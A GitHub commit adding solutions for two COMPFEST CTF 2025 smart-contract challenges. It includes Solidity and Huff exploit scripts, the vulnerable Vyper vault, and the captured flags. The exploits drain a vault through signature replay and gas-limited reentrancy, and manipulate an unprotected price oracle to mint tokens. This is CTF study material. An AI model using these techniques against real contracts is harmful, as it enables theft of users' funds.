Skip to content

Commit 9e32750

Browse files
committed
add COMPFEST CTF 2025
1 parent 4cb9148 commit 9e32750

File tree

9 files changed

+302
-0
lines changed

9 files changed

+302
-0
lines changed

.gitignore

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -41,3 +41,5 @@ storage
4141
attachments/
4242

4343
.env
44+
45+
.sage

README.md

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -99,6 +99,8 @@ Please be aware that these contain spoilers. For contribution guidelines, please
9999

100100
| CTF Name | Event Month |
101101
| -------------------------------------------------------------------------------------------------------------------------- | -------------------- |
102+
| [COMPFEST CTF 2025](src/Compfest2025/) | 2025-10 |
103+
| [ImaginaryCTF 2025](https://github.com/ImaginaryCTF/ImaginaryCTF-2025-Challenges/tree/main/Misc/PBJ) 🔗 | 2025-09 |
102104
| [corCTF 2025](https://github.com/Crusaders-of-Rust) 🔗 | 2025-08 |
103105
| [Full Weak Engineer CTF](src/FullWeakEngineerCTF/) | 2025-08 |
104106
| [HITCON CTF 2025](https://github.com/minaminao/my-ctf-challenges/tree/main/ctfs/hitcon-ctf-2025/maximal-extractable-vuln) | 2025-08 |
@@ -142,6 +144,7 @@ Please be aware that these contain spoilers. For contribution guidelines, please
142144
| [DeFi-Security-Summit-Stanford](src/DeFiSecuritySummitStanford/) | 2022-08 |
143145
| [MapleCTF 2022](src/MapleCTF2022) | 2022-08 |
144146
| [Paradigm CTF 2022](src/ParadigmCTF2022/) | 2022-08 |
147+
| [TJCTF 2022](https://github.com/otter-sec/sol-ctf-framework/tree/main/examples/moar-horse-5) | 2022-05 |
145148
| [ALLES! CTF 2021](https://github.com/sajjadium/ctf-archives/tree/main/ctfs/ALLES/2021/crypto) 🔗 | 2021-09 |
146149
| [Paradigm CTF 2021](src/ParadigmCTF2021/) | 2021-02 |
147150
| [0x41414141 CTF](src/0x41414141CTF/) | 2021-01 |
Lines changed: 40 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,40 @@
1+
#define constant CHALLENGE_ADDRESS = 0xcEf1EF6E3478d476d3DdB843f7547227Fb866a15
2+
3+
#define macro CONSTRUCTOR() = {
4+
0xc48924a3 0x00 sstore
5+
0x09775b47 0x01 sstore
6+
[CHALLENGE_ADDRESS] 0x02 sstore
7+
0x1c 0x03 sstore
8+
0xba76c938bca5ba6daf32f8940f109d10a5e0cd681900c4b0d1152ba90c72707a 0x04 sstore
9+
0xd21a7983cb860b1db4ba9571efee60fdc6ac7b02a3a8b5a082f46bab6c5db47c 0x05 sstore
10+
_RETURN_MAIN()
11+
}
12+
13+
#define macro _RETURN_MAIN() = {
14+
__codesize(MAIN) // [size]
15+
dup1 // [size, size]
16+
__codeoffset(MAIN) // [offset, size, size]
17+
0x0 // [0, offset, size, size]
18+
codecopy // [size]
19+
0x0 // [0, size]
20+
return // []
21+
}
22+
23+
#define macro MAIN() = takes (0) returns (0) {
24+
2 gas mod sload 0x00 mstore
25+
0x03 sload msize mstore
26+
0x04 sload 0x40 mstore
27+
0x05 sload 0x60 mstore
28+
29+
0x20 // retSize
30+
0x80 // retOffset
31+
msize // argsSize
32+
0x1c // argsOffset
33+
0x00 // value
34+
0x02 sload // addr
35+
gas // gas
36+
call
37+
38+
0x00 mstore
39+
0x20 0x00 return
40+
}
Lines changed: 52 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,52 @@
1+
// SPDX-License-Identifier: UNLICENSED
2+
pragma solidity ^0.8.20;
3+
4+
import {Script, console} from "forge-std/Script.sol";
5+
import {Setup} from "./challenge/Setup.sol";
6+
7+
// forge script src/Compfest2025/SnakeInception/Exploit.s.sol:ExploitScript --private-key $PRIVATE_KEY -vvvvv --broadcast
8+
9+
contract ExploitScript is Script {
10+
function run() public {
11+
vm.startBroadcast();
12+
13+
// Setup 1.
14+
new Exploit();
15+
16+
// Setup 2.
17+
// Run cast send (cast address-zero) --value 0 --private-key $PRIVATE_KEY --json | jq .blockHash -r | python -c "import sys; print(int(input(), 16) % 5)"
18+
// until convert(blockhash(block.number-1), uint256) % 5 == 0
19+
20+
// Setup 3.
21+
Exploit(0xA68e541c388a904e398968C8D37815CCed3f2D5e).exploit{gas: 5000000}();
22+
23+
vm.stopBroadcast();
24+
}
25+
}
26+
27+
contract Exploit {
28+
Setup setup = Setup(0x4Cdb866705AF7F07029c85503245988Acdd4a5B7);
29+
address exploitAddr;
30+
31+
constructor() {
32+
bytes memory bytecode =
33+
hex"63c48924a35f556309775b4760015573cef1ef6e3478d476d3ddb843f7547227fb866a15600255601c6003557fba76c938bca5ba6daf32f8940f109d10a5e0cd681900c4b0d1152ba90c72707a6004557fd21a7983cb860b1db4ba9571efee60fdc6ac7b02a3a8b5a082f46bab6c5db47c600555602b80607d5f395ff360025a06545f5260035459526004546040526005546060526020608059601c5f6002545af15f5260205ff3";
34+
address addr;
35+
assembly {
36+
addr := create(0, add(bytecode, 0x20), mload(bytecode))
37+
}
38+
exploitAddr = addr;
39+
}
40+
41+
function exploit() public {
42+
address(this).call{gas: 2000001}(abi.encodeWithSignature("exploit(uint256)", 1000001));
43+
address(this).call{gas: 2000002}(abi.encodeWithSignature("exploit(uint256)", 1000002));
44+
}
45+
46+
function exploit(uint256 gas) public {
47+
exploitAddr.call{gas: gas}("");
48+
require(setup.isSolved());
49+
}
50+
}
51+
52+
// COMPFEST17{re3ntr4ncY_thrU_E04_c0d3L3ss_re3ntr4ncY_1s_p0ssible_8c8be953a5}
Lines changed: 22 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,22 @@
1+
2+
Since the contract is using raw_call, no problem if it goes OOG.
3+
4+
There are a signature in a past block:
5+
```
6+
$ cast run (pbpaste)
7+
Executing previous transactions from the block.
8+
Traces:
9+
[63283] 0xd68e25185a3c720c2Ab2bC4C88F2F20921C38652::09775b47(000000000000000000000000000000000000000000000000000000000000001bba76c938bca5ba6daf32f8940f109d10a5e0cd681900c4b0d1152ba90c72707a2de5867c3479f4e24b456a8e10119f00f40261e40b9fea9b3cddf2e163d88cc5)
10+
├─ [3000] PRECOMPILES::ecrecover(0x7eccd7ead486a50dc0e11109d938bdaf7bef10235cc2c1516ebdc81dff4a4c3b, 27, 84340066570771003327740667532724463987288408720245297984948571015505358516346, 20759614346651503343478388117300426381544956674102488141466218118965907459269) [staticcall]
11+
│ └─ ← [Return] 0x000000000000000000000000b1fdc7607932246c3551d4aa17e19c1ea95840f9
12+
├─ [18] PRECOMPILES::identity(0x0000000000000000000000000000000000000000000000000000000000000000)
13+
│ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
14+
├─ [0] 0xEB876D991FdA87Fdc45e96c6f7025fC77dC21CA1::fallback{value: 20000000000000000000}()
15+
│ └─ ← [Stop]
16+
├─ emit Claimed(param0: 0xEB876D991FdA87Fdc45e96c6f7025fC77dC21CA1, param1: 20000000000000000000 [2e19])
17+
└─ ← [Stop]
18+
19+
20+
Transaction successfully executed.
21+
Gas used: 68390
22+
```
Lines changed: 37 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,37 @@
1+
// SPDX-License-Identifier: MIT
2+
pragma solidity ^0.8.16;
3+
4+
interface Vault {
5+
event Claimed(address indexed user, uint256 amount);
6+
7+
function claimed(bytes32 key) external view returns (bool);
8+
function target_message() external view returns (bytes32);
9+
function reward_amount() external view returns (uint256);
10+
function CEO() external view returns (address);
11+
function fund_contract() external payable;
12+
function get_message_to_sign() external view returns (bytes32);
13+
function claim_reward(uint256 v, uint256 r, uint256 s) external;
14+
function gamble_reward(uint256 v, uint256 r, uint256 s) external;
15+
}
16+
17+
contract Setup {
18+
Vault public challenge;
19+
20+
constructor() payable {
21+
address deployed_address;
22+
bytes memory compiled_vyper_code =
23+
hex"7f7eccd7ead486a50dc0e11109d938bdaf7bef10235cc2c1516ebdc81dff4a4c3b6004556801158e460913d0000060055573b1fdc7607932246c3551d4aa17e19c1ea95840f96006556106c356600436101561000d5761061a565b600035601c5260005163dac69654811415610035576000546106715760016000556000600055005b3461067157630abf8ea68114156100525760045460005260206000f35b6309775b478114156102a4576001546106715760016001553361014052602b610140513b11156100c1576308c379a06101605260206101805260196101a0527f436f6e74726163742063616e277420626520746f6f20626967000000000000006101c0526101a050606461017cfd5b6000600435602082610220010152602081019050602435602082610220010152602081019050604435602082610220010152602081019050806102205261022090508051806020830120905090506101605260036101605160e05260c052604060c020541561016f576308c379a06101805260206101a052601d6101c0527f596f7520416c726561647920436c61696d65642056726f6f6f2e2e2e2e0000006101e0526101c050606461019cfd5b6101405161016051610180516004546101a0526004356101c0526024356101e05260443561020052610200516101e0516101c0516101a05160065801610620565b6102605261018052610160526101405261026051610180526006546101805114610219576308c379a06101a05260206101c05260116101e0527f496e76616c6964207369676e6174757265000000000000000000000000000000610200526101e05060646101bcfd5b60006101a0526101a08051602001806101e08284600060045af115610671575050600060006101e051610200600554335af11561067157600160036101605160e05260c052604060c02055337fd8138f8a3f377c5259ca548e70e4c2de94f129f5a11036a15b69513cba2b426a6101a0808080600554815250506020905090506101a0a26000600155005b63c48924a38114156105aa576002546106715760016002553361014052602b610140513b1115610313576308c379a06101605260206101805260196101a0527f436f6e74726163742063616e277420626520746f6f20626967000000000000006101c0526101a050606461017cfd5b6000600435602082610220010152602081019050602435602082610220010152602081019050604435602082610220010152602081019050806102205261022090508051806020830120905090506101605260036101605160e05260c052604060c02054156103c1576308c379a06101805260206101a052601d6101c0527f596f7520416c726561647920436c61696d65642056726f6f6f2e2e2e2e0000006101e0526101c050606461019cfd5b6101405161016051610180516004546101a0526004356101c0526024356101e05260443561020052610200516101e0516101c0516101a05160065801610620565b610260526101805261016052610140526102605161018052600654610180511461046b576308c379a06101a05260206101c05260116101e0527f496e76616c6964207369676e6174757265000000000000000000000000000000610200526101e05060646101bcfd5b600554600280820282158284830414171561067157809050905090506101a052436001808210610671578082039050905061010043038112610671574381101561067157406005808206905090506104fa5760006101c0526101c08051602001806102008284600060045af11561067157505060006000610200516102206101a051335af11561067157610556565b60046101c0527f6c6d616f000000000000000000000000000000000000000000000000000000006101e0526101c08051602001806102208284600060045af11561067157505060006000610220516102406000335af115610671575b600160036101605160e05260c052604060c02055337fd8138f8a3f377c5259ca548e70e4c2de94f129f5a11036a15b69513cba2b426a6101c0808080600554815250506020905090506101c0a26000600255005b63cc3c0f068114156105d057600360043560e05260c052604060c0205460005260206000f35b634bb6d6318114156105e85760045460005260206000f35b632381a60e8114156106005760055460005260206000f35b63a10885718114156106185760065460005260206000f35b505b60006000fd5b6101c0526101405261016052610180526101a052610140516101e052610160516102005261018051610220526101a05161024052602060c060806101e060015afa5060c0516000526000516101c051565b600080fd5b61004d6106c30361004d60003961004d6106c3036000f3";
24+
25+
assembly {
26+
deployed_address := create(0, add(compiled_vyper_code, 0x20), mload(compiled_vyper_code))
27+
}
28+
29+
require(deployed_address != address(0), "Deployment failed");
30+
challenge = Vault(deployed_address);
31+
challenge.fund_contract{value: 80 ether}();
32+
}
33+
34+
function isSolved() external view returns (bool) {
35+
return address(challenge).balance == 0;
36+
}
37+
}
Lines changed: 82 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,82 @@
1+
# @version 0.2.16
2+
3+
event Claimed:
4+
user: indexed(address)
5+
amount: uint256
6+
7+
claimed: public(HashMap[bytes32, bool])
8+
target_message: public(bytes32)
9+
reward_amount: public(uint256)
10+
CEO: public(address)
11+
12+
@external
13+
def __init__():
14+
# The message players need to sign
15+
self.target_message = keccak256("I, The Compfest CEO, Hereby Declare That I Will Give 20 ETH To this person")
16+
self.reward_amount = 20 * 10**18 # 20 ETH
17+
self.CEO = 0xB1fdC7607932246c3551D4aA17e19c1eA95840F9
18+
19+
@external
20+
@payable
21+
@nonreentrant("claim")
22+
def fund_contract():
23+
pass
24+
25+
@external
26+
@view
27+
def get_message_to_sign() -> bytes32:
28+
return self.target_message
29+
30+
31+
@internal
32+
@pure
33+
def _recover_signer(message_hash: bytes32, v: uint256, r: uint256, s: uint256) -> address:
34+
return ecrecover(message_hash, v, r, s)
35+
36+
@external
37+
@nonreentrant("claim")
38+
def claim_reward(v: uint256, r: uint256, s: uint256):
39+
40+
temp: address = msg.sender
41+
assert temp.codesize <= 43, "Contract can't be too big"
42+
43+
sig_hash: bytes32 = keccak256(concat(convert(v, bytes32), convert(r, bytes32), convert(s, bytes32)))
44+
45+
assert not self.claimed[sig_hash], "You Already Claimed Vrooo...."
46+
47+
signer: address = self._recover_signer(self.target_message, v, r, s)
48+
49+
assert signer == self.CEO, "Invalid signature"
50+
51+
raw_call(msg.sender, b"", value=self.reward_amount)
52+
53+
self.claimed[sig_hash] = True
54+
55+
log Claimed(msg.sender, self.reward_amount)
56+
57+
@external
58+
@nonreentrant("claim")
59+
def gamble_reward(v: uint256, r: uint256, s: uint256):
60+
"""Gamble 20 ETH with valid signature"""
61+
62+
temp: address = msg.sender
63+
assert temp.codesize <= 43, "Contract can't be too big"
64+
65+
sig_hash: bytes32 = keccak256(concat(convert(v, bytes32), convert(r, bytes32), convert(s, bytes32)))
66+
67+
assert not self.claimed[sig_hash], "You Already Claimed Vrooo...."
68+
69+
signer: address = self._recover_signer(self.target_message, v, r, s)
70+
71+
assert signer == self.CEO, "Invalid signature"
72+
73+
real_reward: uint256 = self.reward_amount * 2 # Double the reward for gambling
74+
75+
if(convert(blockhash(block.number-1), uint256) % 5 == 0):
76+
raw_call(msg.sender, b"", value=real_reward)
77+
else:
78+
raw_call(msg.sender, b"lmao", value=0)
79+
80+
self.claimed[sig_hash] = True
81+
82+
log Claimed(msg.sender, self.reward_amount)
Lines changed: 60 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,60 @@
1+
// SPDX-License-Identifier: UNLICENSED
2+
pragma solidity ^0.8.20;
3+
4+
import {Script, console} from "forge-std/Script.sol";
5+
6+
// forge script src/Compfest2025/SyntheticManipulation/Exploit.s.sol:ExploitScript --private-key $PRIVATE_KEY -vvvvv --broadcast
7+
8+
contract ExploitScript is Script {
9+
function run() public {
10+
vm.startBroadcast();
11+
12+
new Exploit().exploit{value: 4900 ether}();
13+
14+
vm.stopBroadcast();
15+
}
16+
}
17+
18+
contract Exploit {
19+
function exploit() external payable {
20+
Setup setup = Setup(0x048E929109800A63574193706578A7F37F4c987C);
21+
Token token = Token(setup.challenge());
22+
Oracle oracle = Oracle(token.priceOracle());
23+
24+
address(oracle).call(abi.encodeWithSelector(hex"f7699c28", address(this)));
25+
oracle.setPrice(oracle.getLatestPrice() * 1000);
26+
27+
token.openVault{value: 4900 ether}(100_000_000_000_000_000_000_000_000_000_001);
28+
29+
uint256 balance = token.balanceOf(address(this));
30+
token.transfer(address(setup), balance);
31+
32+
require(setup.isSolved());
33+
}
34+
}
35+
36+
interface Oracle {
37+
function getLatestPrice() external returns (uint256);
38+
function setPrice(uint256 _price) external;
39+
}
40+
41+
interface Setup {
42+
function challenge() external returns (address);
43+
function isSolved() external returns (bool);
44+
}
45+
46+
interface Token {
47+
/*
48+
field0 = msg.value
49+
field1 = amount
50+
(field0 * latestPrice / (10 ** 8) * 100) / field1
51+
*/
52+
function openVault(uint256 _pid) external payable;
53+
function nextVaultId() external;
54+
function transferFrom(address sender, address recipient, uint256 amount) external;
55+
function priceOracle() external returns (address);
56+
function balanceOf(address account) external returns (uint256);
57+
function transfer(address recipient, uint256 amount) external;
58+
}
59+
60+
// COMPFEST17{reverse_evm_dikit_dikit_lah_ya_bosen_kalo_sourcenya_terpampang_semua_015ec8d7f5}
Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
Decompile Results:
2+
- Setup: https://app.dedaub.com/decompile?md5=2aef16a393db53d9e7023c3264f9e3be
3+
- Token: https://app.dedaub.com/decompile?md5=bdf55f6d38f33d87fbf34d8e73bf9e1c
4+
- Oracle: https://app.dedaub.com/decompile?md5=ba3d8cc72289eb34fc3690931a763398

0 commit comments

Comments
 (0)